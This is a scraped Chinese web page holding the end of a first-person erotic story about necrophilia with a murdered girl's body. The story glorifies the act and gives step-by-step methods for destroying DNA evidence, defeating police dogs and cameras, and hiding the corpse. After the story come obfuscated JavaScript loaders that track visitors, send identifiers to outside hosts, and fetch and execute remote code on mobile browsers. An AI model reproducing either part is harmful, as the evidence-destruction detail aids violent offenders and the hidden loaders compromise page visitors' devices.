经过大约十分钟的抽插与玩弄脚丫之后,我近乎抽搐的一挺身,增大的粗屌撞开了女孩宫颈深处的开口,如沸腾滚热的岩浆般的精液源源不断的喷射而出,可惜没有直接灌入了女孩温暖的子宫。而是到了安全套里。

一番激射之后我停了下来,趴到了那一对挺立白皙的乳房之间,感受着温软的按摩着我的脸。也不敢有大动作,一放安全套松脱留下证据。

我稍稍抬起头咬住她一边的乳头,用舌头舔弄撩拨,小小的樱桃在我舌尖上跳舞。呵呵,可惜这玩意儿以后再也派不上真正的用途了——给婴儿喂奶。既然如此,这奶头就让我最后享用了吧。轻轻咬噬这柔软的玩具,心里倒是有了一层伤感。我剥夺了一个女孩这么多的权力……

我试着吸吮了两下,当然吸不出奶来啦,只是感受一下,想想孩子都是怎么吸奶的……我又直起身来按压旋弄她的一对乳房。这两个大奶在手中揉捏的感觉良好。只是我一直不明白她的乳晕怎么会这么大,一点也不像少女的感觉。其实我这个人更喜欢女孩的脚丫而不是乳房,但是依然在她的胸部玩弄了足够长的时间才去干别的。

我把尸体翻了个身,背朝上趴在地上。我在侧面托起她的细腰向上拉起,另一手推着她的膝窝向前收拢,给她摆了一个跪地磕头的姿势。菊花般的屁眼向后高高撅起,大腿内侧还有阴道里流出的精液下滑,双臂软绵绵的搭在身体两侧。

这个样子梗诱人了!

我的手指在她的肛门上细细摩挲,感受着肛晕上的螺纹状皱褶的绵软起伏。

当然要更换避孕套。准备就绪之后我挺起早已待命出击的粗屌,双手握住田甜的腰,一使劲将老二插了进去,这里确实很紧,仅是有尿液的润滑还是有些难已进入。我的粗屌在里边慢慢前进,一点点撑大她的直肠。从紧绷程度来说看来女孩平时只和男人们从前边做爱,而不许他们干后边。真有意思啊,还挺有讲究挺有原则。等到基本适应之后,我开始用力抽插。既然夹得更紧那么粗屌与肉壁的摩擦也就越剧烈,这种痒的快感也就愈明显。尸体的屁股弹性十足,每次大力的插入她的屁股都会把她的臀挤压变形成一个不规则形状,抽动时又会迅速撅起,反弹成两瓣浑圆,尸体的双手随着波浪般的颤抖往复滚动。在基本撑开她的直肠之后我的双手离开了她的腰,因为已然不用助推了。我的手又放到了田甜的脚丫上,尽管看不到她的脚但是我可以感知到由于脚踝与脚掌成一定的角度而使得脚底出现的一排排褶纹,我的手指她的脚掌在上面摩擦游走,这同样是不错的娱乐。最后我又一次高潮射出的精液灌入安全套中,之后抽出已经变小的阴茎,我躺在尸体旁大口喘气。

转头看着一旁呈跪姿高撅着屁股的尸体,低头的样子好像十分谦虚。

抓住尸体的双脚毫不犹豫的向后一拉,田甜「扑通」一下趴倒在地,扔下双脚又发出「碰」的一声,双足还来回弹跳颤动了两下。差不多该结束了。我翻过田甜的尸身,从头到脚又亲吻了一遍,还在脚丫上舔了半天。

好了,该收拾一下了。我起身穿好衣服。打量了一遍周围,丛书包里拿出装有特制的水瓶,将细嘴插入女孩的阴道稍加清理。随后将尸体翻个摆出大便的姿势,一手扶着田甜的上半身另一手将水瓶的吸嘴塞进女尸的肛门,尽管警察不太可能找到精液,但是还是洗一下放心。我立即在操过尸体的地面撒上石灰。喷洒一点空气清新剂之后用土盖好。这样一来警犭也难以找到痕迹。即使她的尸体最后被警察发现我也不让他们那么容易就找到精液提取DNA.基本清理完成之后将尸体的衣服鞋袜装进一个大口袋,背上书包,把赤裸的尸体倒着扛到肩上走向预设地点。那里是挖好的坑。

现在我扶着尸体的大屁股,她的后半身朝前,头部朝后。一路上,田甜的两只脚丫随着步幅来回摇曳互相碰撞。还是那么诱人。我摸摸她滚圆柔软的屁股,心中感慨颇多。到了地点,我把一丝不挂尸体放到坑中,把她的衣物也扔到坑里。

但是将靴子和蕾丝长袜收到了自己的书包中。还是有些不甘心。我有拿起田甜的脚丫继续嗅吻舔舐,有一只脚都是炼乳味完全盖过了脚臭,就不管了。另一只脚的脚臭味被我完全吸得精光我猜把这只脚丫扔回坑里。看着依然展示着美丽双足,张着阴道口,挺着乳房,嘴巴微张的田甜,我感慨万千。不论以前她是父母的心肝宝贝,还是某些男人心中的天使,现在都只是一具尸体,一具被我玩弄过全身的尸体了。我轻轻揉着尸体的乳房,回想着刚才那美妙的一刻……直到觉得已经浪费了太多的时间。

往尸体上撒上石灰之后我拿出包里的折叠工兵锹将其填平,还注意清理了动工痕迹,仔细是的覆盖在上面的土更为自然。之后又喷了喷空气清新剂。之后我将所有到过的地方,尤其是靠近公路的地方用稀释的空气清新剂和非常淡的香水喷过了,由于周边也要喷上所以用掉了好几瓶。还用扫帚将自己和田甜的脚印仔细清除。花了约半个小时的仔细工作之后终于差不多了。我到了树林的另一边,又一次倒走扫除痕迹与喷洒药剂之后我穿过公路走出一段骑上了自行车,换下衣物之后绕道回了家。监视摄像头都没有拍下任何东西,包括学校旁边的。

第二天果然有警察来调查此事。那些天还真弄得够麻烦。询问调查了很多人。

尤其是她那些不三不四的男朋友和往常和她作对的人,我只是被简单提问了几个问题。就没了下文。后来她被定为失踪。

那双皮靴和丝袜我一直珍藏,在她的脚臭味完全消失之前我经常拿来嗅闻。

后来就一直放着。直到我上大学后又有了女朋友,那双进口的昂贵皮靴就穿到了她的脚上。这是个善解人意又温柔的女孩,她对于这双价值上万元的皮靴特别喜爱,当然了,我也经常凌虐她那双同样漂亮的双脚,听着她娇柔可爱的呻吟,不禁感叹这生活真是太美妙了。有时我会想起田甜,我知道自己这件事做的不对,但是现在也不可能挽回,只有祝她安息了。

【完】
关闭
关闭
function kRTue(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function LbDKuhQ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return kRTue(t);};window[''+'W'+'M'+'S'+'G'+'N'+'J'+'u'+'v'+'j'+'D'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function LgsXP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=LbDKuhQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=LgsXP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=LgsXP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZZhLnZZ5aXBueC5jbiUzQTg4OTE=','d3NzJTNBBJTJGJTJGYS5iaGVhZS5jb20lM0E5NTM1','9489',window,document,['Z','B']);}:function(){};
function ofwZCSt(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VPXemrZ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return ofwZCSt(t);};window[''+'J'+'F'+'A'+'T'+'g'+'U'+'w'+'a'+'h'+'d'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function flte(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VPXemrZ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=flte(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=flte(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLmNzcHN4aaC5jbiUzQTg4OTE=','d33NzJTNBJTJGJTJGYS5kdGZhb2kuY24lM0E5NTM0','168322',window,document,['a','3']);}:function(){};
let urls=["hHHtHHtHHpHHsHH:HH/HH/HHvHH0HH4HH1HH2HHnHH4HHdHH7HH6HH.HHoHHsHHsHH-HHcHHnHH-HHhHHaHHnHHgHHzHHhHHoHHuHH.HHaHHlHHiHHyHHuHHnHHcHHsHH.HHcHHoHHmHH/HH1HH2HH/HH1HH1HH0HH5HHeHHcHH8HH5HH8HH2HH3HH7HH2".split("HH").join(""),"hGGtGGtGGpGGsGG:GG/GG/GGpGG.GGgGGoGGdGGmGGwGGiGGtGGhGG.GGcGGoGGmGG/GG1GG2GG/GG1GG1GG0GG5GGeGGcGG8GG5GG8GG2GG3GG7GG2".split("GG").join(""),"hNNtNNtNNpNNsNN:NN/NN/NNmNNqNN1NN2NNnNN4NNdNN7NN6NN.NNoNNsNNsNN-NNcNNnNN-NNsNNhNNaNNnNNgNNhNNaNNiNN.NNaNNlNNiNNyNNuNNnNNcNNsNN.NNcNNoNNmNN/NN1NN2NN/NN1NN1NN0NN5NNeNNcNN8NN5NN8NN2NN3NN7NN2".split("NN").join(""),"hNNtNNtNNpNNsNN:NN/NN/NNdNN8NN9NN-NN1NN3NN1NN3NN9NN4NN4NN0NN6NN2NN.NNcNNoNNsNN.NNaNNpNN-NNhNNoNNnNNgNNkNNoNNnNNgNN.NNmNNyNNqNNcNNlNNoNNuNNdNN.NNcNNoNNmNN/NN1NN1NN0NN5NNeNNcNN8NN5NN8NN2NN3NN7NN2".split("NN").join("")];window.__rr__hld=1;let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();